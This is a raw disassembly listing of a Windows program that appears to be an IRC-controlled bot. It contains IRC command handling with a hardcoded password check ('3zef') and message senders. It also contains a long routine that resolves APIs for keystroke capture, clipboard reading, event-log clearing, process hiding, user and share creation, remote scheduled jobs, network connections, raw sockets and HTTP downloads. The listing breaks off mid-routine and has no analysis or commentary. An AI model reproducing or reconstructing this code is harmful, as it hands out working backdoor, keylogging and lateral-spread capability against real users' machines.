loc_4025EC ; --------------------------------------------------------------------------- loc_409BBD: ; CODE XREF: sub_401CC7+7EB2j mov [ebp+File], offset off_43F158 loc_409BC4: ; CODE XREF: sub_401CC7+7F19j mov eax, [ebp+File] push edi push dword ptr [eax] call sub_40BAAF pop ecx test eax, eax pop ecx jnz short loc_409C24 add [ebp+File], 4 cmp [ebp+File], offset off_43F15C jb short loc_409BC4 lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 14h lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] ; int call sub_409CEE add esp, 0Ch push edi push esi push offset unk_43FFC4 jmp loc_4025EC ; --------------------------------------------------------------------------- loc_409C24: ; CODE XREF: sub_401CC7+7F0Cj mov edi, [ebp+arg_18] xor esi, esi loc_409C29: ; CODE XREF: sub_401CC7+7F8Cj cmp [ebp+Source], ebx jz loc_402085 cmp [edi], bl jnz short loc_409C49 push [ebp+Source] ; Str2 push offset a3zef ; "3zef" call _strcmp pop ecx test eax, eax pop ecx jz short loc_409C5A loc_409C49: ; CODE XREF: sub_401CC7+7F6Dj inc esi add edi, 80h cmp esi, 3 jl short loc_409C29 jmp loc_402085 ; --------------------------------------------------------------------------- loc_409C5A: ; CODE XREF: sub_401CC7+7F80j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh ; Count push eax ; Source push esi ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_409C91 push ebx ; int push [ebp+var_4] ; int push offset unk_43FFF0 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_409C91: ; CODE XREF: sub_401CC7+7FAEj lea eax, [ebp+var_C0] push eax push offset unk_440010 jmp loc_402269 ; --------------------------------------------------------------------------- loc_409CA2: ; CODE XREF: sub_401CC7+205j ; sub_401CC7+21Aj push [ebp+Source] ; Args push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 0Ch push offset aXI ; "-x+i" push [ebp+Source] ; Args push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 10h push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS_4 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 10h mov dword_4E2F88, edi jmp loc_401F5B sub_401CC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409CEE(int,char *Format,char Args) sub_409CEE proc near ; CODE XREF: sub_401B4F+3Dp ; sub_401CC7+1C2p ... Dest = byte ptr -200h arg_0 = dword ptr 8 Format = dword ptr 0Ch Args = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 200h ; Count push eax ; Dest call __vsnprintf add esp, 10h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4E3148 ; send leave retn sub_409CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409D34(int,char *Str,int,int,int) sub_409D34 proc near ; CODE XREF: sub_401CC7+50Fp ; sub_401CC7+136Ep ... var_400 = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice_3 ; "NOTICE" jnz short loc_409D4F mov edi, offset aPrivmsg_2 ; "PRIVMSG" loc_409D4F: ; CODE XREF: sub_409D34+14j push edi ; Str call _strlen push [ebp+Str] ; Str mov esi, 1FAh sub esi, eax call _strlen pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_21 ; "%s" push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+Dest] push [ebp+Str] push edi push offset aSSS_1 ; "%s %s :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4E3148 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409DD2 push 7D0h call ds:dword_4F534C ; Sleep locret_409DD2: ; CODE XREF: sub_409D34+91j leave retn sub_409D34 endp ; =============== S U B R O U T I N E ======================================= sub_409DD4 proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp push ebx push ebp mov ebp, ds:dword_4F5370 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_4F5390 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409EF4 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4E31A4, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4E3118, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4E30FC, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4E300C, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4E2FB8, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4E2FE8, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4E3060, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4E3158, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4E31B4, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4E3018, eax call esi ; GetProcAddress cmp dword_4E31A4, ebx mov dword_4E3000, eax jz short loc_409ED2 cmp dword_4E3118, ebx jz short loc_409ED2 cmp dword_4E30FC, ebx jz short loc_409ED2 cmp dword_4E300C, ebx jz short loc_409ED2 cmp dword_4E2FE8, ebx jz short loc_409ED2 cmp dword_4E3060, ebx jz short loc_409ED2 cmp dword_4E3158, ebx jz short loc_409ED2 cmp dword_4E31B4, ebx jz short loc_409ED2 cmp dword_4E3018, ebx jz short loc_409ED2 cmp eax, ebx jnz short loc_409EDC loc_409ED2: ; CODE XREF: sub_409DD4+B8j ; sub_409DD4+C0j ... mov dword_4E31B8, 1 loc_409EDC: ; CODE XREF: sub_409DD4+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4E3130, eax jz short loc_409F09 push 1 push ebx call eax jmp short loc_409F09 ; --------------------------------------------------------------------------- loc_409EF4: ; CODE XREF: sub_409DD4+1Dj call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31BC, eax mov dword_4E31B8, 1 loc_409F09: ; CODE XREF: sub_409DD4+117j ; sub_409DD4+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_4F538C ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A01E push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4E3154, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4E3104, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4E3098, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4E31A8, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4E30C8, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4E30E8, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4E314C, eax call esi ; GetProcAddress cmp dword_4E3154, ebx mov dword_4E3038, eax jz short loc_409FC2 cmp dword_4E3104, ebx jz short loc_409FC2 cmp dword_4E3098, ebx jz short loc_409FC2 cmp dword_4E31A8, ebx jz short loc_409FC2 cmp dword_4E30C8, ebx jz short loc_409FC2 cmp dword_4E30E8, ebx jz short loc_409FC2 cmp dword_4E314C, ebx jz short loc_409FC2 cmp eax, ebx jnz short loc_409FCC loc_409FC2: ; CODE XREF: sub_409DD4+1B8j ; sub_409DD4+1C0j ... mov dword_4E31C0, 1 loc_409FCC: ; CODE XREF: sub_409DD4+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4E30C4, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4E2FCC, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4E3094, eax call esi ; GetProcAddress cmp dword_4E30C4, ebx mov dword_4E307C, eax jz short loc_40A029 cmp dword_4E2FCC, ebx jz short loc_40A029 cmp dword_4E3094, ebx jz short loc_40A029 cmp eax, ebx jnz short loc_40A033 jmp short loc_40A029 ; --------------------------------------------------------------------------- loc_40A01E: ; CODE XREF: sub_409DD4+144j call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31C4, eax loc_40A029: ; CODE XREF: sub_409DD4+232j ; sub_409DD4+23Aj ... mov dword_4E31C0, 1 loc_40A033: ; CODE XREF: sub_409DD4+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40A1EC push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4E3168, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4E30AC, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4E311C, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4E2FF8, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4E305C, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4E30D4, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4E3078, eax call esi ; GetProcAddress cmp dword_4E3168, ebx mov dword_4E3088, eax jz short loc_40A0DC cmp dword_4E30AC, ebx jz short loc_40A0DC cmp dword_4E311C, ebx jz short loc_40A0DC cmp dword_4E2FF8, ebx jz short loc_40A0DC cmp dword_4E305C, ebx jz short loc_40A0DC cmp dword_4E30D4, ebx jnz short loc_40A0E6 loc_40A0DC: ; CODE XREF: sub_409DD4+2DEj ; sub_409DD4+2E6j ... mov dword_4E31C8, 1 loc_40A0E6: ; CODE XREF: sub_409DD4+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4E30DC, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4E30B4, eax call esi ; GetProcAddress cmp dword_4E30DC, ebx mov dword_4E3164, eax jz short loc_40A121 cmp dword_4E30B4, ebx jz short loc_40A121 cmp eax, ebx jnz short loc_40A12B loc_40A121: ; CODE XREF: sub_409DD4+33Fj ; sub_409DD4+347j mov dword_4E31C8, 1 loc_40A12B: ; CODE XREF: sub_409DD4+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4E30EC, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4E2FD4, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4E2FDC, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4E3040, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4E3044, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4E2FF0, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4E30B8, eax call esi ; GetProcAddress cmp dword_4E30EC, ebx mov dword_4E2FE0, eax jz short loc_40A1CF cmp dword_4E2FD4, ebx jz short loc_40A1CF cmp dword_4E2FDC, ebx jz short loc_40A1CF cmp dword_4E3040, ebx jz short loc_40A1CF cmp dword_4E3044, ebx jz short loc_40A1CF cmp dword_4E2FF0, ebx jz short loc_40A1CF cmp dword_4E30B8, ebx jz short loc_40A1CF cmp eax, ebx jnz short loc_40A1D9 loc_40A1CF: ; CODE XREF: sub_409DD4+3C5j ; sub_409DD4+3CDj ... mov dword_4E31C8, 1 loc_40A1D9: ; CODE XREF: sub_409DD4+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4E2FD8, eax jnz short loc_40A201 jmp short loc_40A1F7 ; --------------------------------------------------------------------------- loc_40A1EC: ; CODE XREF: sub_409DD4+26Aj call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31CC, eax loc_40A1F7: ; CODE XREF: sub_409DD4+416j mov dword_4E31C8, 1 loc_40A201: ; CODE XREF: sub_409DD4+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40A2CD push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4E30E4, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4E313C, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4E3144, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4E3100, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4E301C, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4E2FC8, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4E3140, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4E2FB4, eax call esi ; GetProcAddress cmp dword_4E30E4, ebx mov dword_4E3054, eax jz short loc_40A2D8 cmp dword_4E313C, ebx jz short loc_40A2D8 cmp dword_4E3144, ebx jz short loc_40A2D8 cmp dword_4E3100, ebx jz short loc_40A2D8 cmp dword_4E301C, ebx jz short loc_40A2D8 cmp dword_4E2FC8, ebx jz short loc_40A2D8 cmp dword_4E3140, ebx jz short loc_40A2D8 cmp dword_4E2FB4, ebx jz short loc_40A2D8 cmp eax, ebx jnz short loc_40A2E2 jmp short loc_40A2D8 ; --------------------------------------------------------------------------- loc_40A2CD: ; CODE XREF: sub_409DD4+438j call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31D4, eax loc_40A2D8: ; CODE XREF: sub_409DD4+4B9j ; sub_409DD4+4C1j ... mov dword_4E31D0, 1 loc_40A2E2: ; CODE XREF: sub_409DD4+4F5j mov ebp, ds:dword_4F538C push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A59E push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4E3068, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4E319C, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4E3008, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4E2FE4, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4E30A4, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4E308C, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4E3050, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4E3178, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4E3194, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4E30A0, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4E3184, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4E3138, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4E30F8, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4E30F4, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4E3028, eax call esi ; GetProcAddress push offset aSend_1 ; "send" push edi mov dword_4E3020, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4E3148, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4E315C, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4E3110, eax call esi ; GetProcAddress mov dword_4E30D0, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4E3124, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4E30E0, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4E3120, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4E318C, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4E30D8, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4E309C, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4E310C, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4E317C, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4E30B0, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4E304C, eax call esi ; GetProcAddress cmp dword_4E3068, ebx mov dword_4E3190, eax jz loc_40A5A9 cmp dword_4E319C, ebx jz loc_40A5A9 cmp dword_4E3008, ebx jz loc_40A5A9 cmp dword_4E30A4, ebx jz loc_40A5A9 cmp dword_4E308C, ebx jz loc_40A5A9 cmp dword_4E3050, ebx jz loc_40A5A9 cmp dword_4E3178, ebx jz loc_40A5A9 cmp dword_4E3194, ebx jz loc_40A5A9 cmp dword_4E30A0, ebx jz loc_40A5A9 cmp dword_4E3184, ebx jz loc_40A5A9 cmp dword_4E3138, ebx jz loc_40A5A9 cmp dword_4E30F8, ebx jz loc_40A5A9 cmp dword_4E30F4, ebx jz loc_40A5A9 cmp dword_4E3028, ebx jz short loc_40A5A9 cmp dword_4E3148, ebx jz short loc_40A5A9 cmp dword_4E315C, ebx jz short loc_40A5A9 cmp dword_4E3110, ebx jz short loc_40A5A9 cmp dword_4E30D0, ebx jz short loc_40A5A9 cmp dword_4E3124, ebx jz short loc_40A5A9 cmp dword_4E30E0, ebx jz short loc_40A5A9 cmp dword_4E3120, ebx jz short loc_40A5A9 cmp dword_4E318C, ebx jz short loc_40A5A9 cmp dword_4E30D8, ebx jz short loc_40A5A9 cmp dword_4E309C, ebx jz short loc_40A5A9 cmp dword_4E310C, ebx jz short loc_40A5A9 cmp dword_4E317C, ebx jz short loc_40A5A9 cmp dword_4E30B0, ebx jz short loc_40A5A9 cmp eax, ebx jnz short loc_40A5B3 jmp short loc_40A5A9 ; --------------------------------------------------------------------------- loc_40A59E: ; CODE XREF: sub_409DD4+51Fj call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31DC, eax loc_40A5A9: ; CODE XREF: sub_409DD4+6BEj ; sub_409DD4+6CAj ... mov dword_4E31D8, 1 loc_40A5B3: ; CODE XREF: sub_409DD4+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A6B8 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4E3034, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4E2FBC, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4E30C0, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4E306C, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4E30CC, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4E3090, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4E2FFC, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4E2FF4, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4E3004, eax call esi ; GetProcAddress cmp dword_4E3034, ebx mov ecx, dword_4E3090 mov dword_4E312C, eax jz short loc_40A694 cmp dword_4E2FBC, ebx jz short loc_40A694 cmp dword_4E30C0, ebx jz short loc_40A694 cmp dword_4E306C, ebx jz short loc_40A694 cmp dword_4E30CC, ebx jz short loc_40A694 cmp ecx, ebx jz short loc_40A694 cmp dword_4E2FFC, ebx jz short loc_40A694 cmp dword_4E2FF4, ebx jz short loc_40A694 cmp dword_4E3004, ebx jz short loc_40A694 cmp eax, ebx jnz short loc_40A69E loc_40A694: ; CODE XREF: sub_409DD4+87Ej ; sub_409DD4+886j ... mov dword_4E31E0, 1 loc_40A69E: ; CODE XREF: sub_409DD4+8BEj cmp ecx, ebx jz short loc_40A6D3 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4E30A8, eax jnz short loc_40A6D3 jmp short loc_40A6CD ; --------------------------------------------------------------------------- loc_40A6B8: ; CODE XREF: sub_409DD4+7EAj call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31E4, eax mov dword_4E31E0, 1 loc_40A6CD: ; CODE XREF: sub_409DD4+8E2j mov dword_4E30A8, ebx loc_40A6D3: ; CODE XREF: sub_409DD4+8CCj ; sub_409DD4+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A71D push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4E3080, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4E31B0, eax call esi ; GetProcAddress cmp dword_4E3080, ebx mov dword_4E3010, eax jz short loc_40A728 cmp dword_4E31B0, ebx jz short loc_40A728 cmp eax, ebx jnz short loc_40A732 jmp short loc_40A728 ; --------------------------------------------------------------------------- loc_40A71D: ; CODE XREF: sub_409DD4+90Aj call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31EC, eax loc_40A728: ; CODE XREF: sub_409DD4+939j ; sub_409DD4+941j ... mov dword_4E31E8, 1 loc_40A732: ; CODE XREF: sub_409DD4+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A839 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4E2FEC, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4E2FC4, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4E303C, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4E3070, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4E3188, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4E3024, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4E2FD0, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4E2FC0, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4E3058, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4E3150, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4E3108, eax call esi ; GetProcAddress cmp dword_4E2FEC, ebx mov dword_4E302C, eax jz short loc_40A844 cmp dword_4E2FC4, ebx jz short loc_40A844 cmp dword_4E303C, ebx jz short loc_40A844 cmp dword_4E3070, ebx jz short loc_40A844 cmp dword_4E3188, ebx jz short loc_40A844 cmp dword_4E3024, ebx jz short loc_40A844 cmp dword_4E2FD0, ebx jz short loc_40A844 cmp dword_4E2FC0, ebx jz short loc_40A844 cmp dword_4E3058, ebx jz short loc_40A844 cmp dword_4E3150, ebx jz short loc_40A844 cmp dword_4E3108, ebx jnz short loc_40A84E jmp short loc_40A844 ; --------------------------------------------------------------------------- loc_40A839: ; CODE XREF: sub_409DD4+969j call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31F4, eax loc_40A844: ; CODE XREF: sub_409DD4+A11j ; sub_409DD4+A19j ... mov dword_4E31F0, 1 loc_40A84E: ; CODE XREF: sub_409DD4+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A883 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4E3014, eax call esi ; GetProcAddress cmp dword_4E3014, ebx mov dword_4E30F0, eax jz short loc_40A88E cmp eax, ebx jnz short loc_40A898 jmp short loc_40A88E ; --------------------------------------------------------------------------- loc_40A883: ; CODE XREF: sub_409DD4+A85j call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E31FC, eax loc_40A88E: ; CODE XREF: sub_409DD4+AA7j ; sub_409DD4+AADj mov dword_4E31F8, 1 loc_40A898: ; CODE XREF: sub_409DD4+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A8CD push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4E3174, eax call esi ; GetProcAddress cmp dword_4E3174, ebx mov dword_4E3170, eax jz short loc_40A8D8 cmp eax, ebx jnz short loc_40A8E2 jmp short loc_40A8D8 ; --------------------------------------------------------------------------- loc_40A8CD: ; CODE XREF: sub_409DD4+ACFj call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E3204, eax loc_40A8D8: ; CODE XREF: sub_409DD4+AF1j ; sub_409DD4+AF7j mov dword_4E3200, 1 loc_40A8E2: ; CODE XREF: sub_409DD4+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A941 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4E31A0, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4E3198, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4E3160, eax call esi ; GetProcAddress cmp dword_4E31A0, ebx mov dword_4E3030, eax jz short loc_40A94C cmp dword_4E3198, ebx jz short loc_40A94C cmp dword_4E3160, ebx jz short loc_40A94C cmp eax, ebx jnz short loc_40A956 jmp short loc_40A94C ; --------------------------------------------------------------------------- loc_40A941: ; CODE XREF: sub_409DD4+B19j call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E320C, eax loc_40A94C: ; CODE XREF: sub_409DD4+B55j ; sub_409DD4+B5Dj ... mov dword_4E3208, 1 loc_40A956: ; CODE XREF: sub_409DD4+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A98B push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4E3064, eax call esi ; GetProcAddress cmp dword_4E3064, ebx mov dword_4E316C, eax jz short loc_40A996 cmp eax, ebx jnz short loc_40A9A0 jmp short loc_40A996 ; --------------------------------------------------------------------------- loc_40A98B: ; CODE XREF: sub_409DD4+B8Dj call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E3214, eax loc_40A996: ; CODE XREF: sub_409DD4+BAFj ; sub_409DD4+BB5j mov dword_4E3210, 1 loc_40A9A0: ; CODE XREF: sub_409DD4+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40AA29 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4E3134, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4E3180, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4E30BC, eax call esi ; 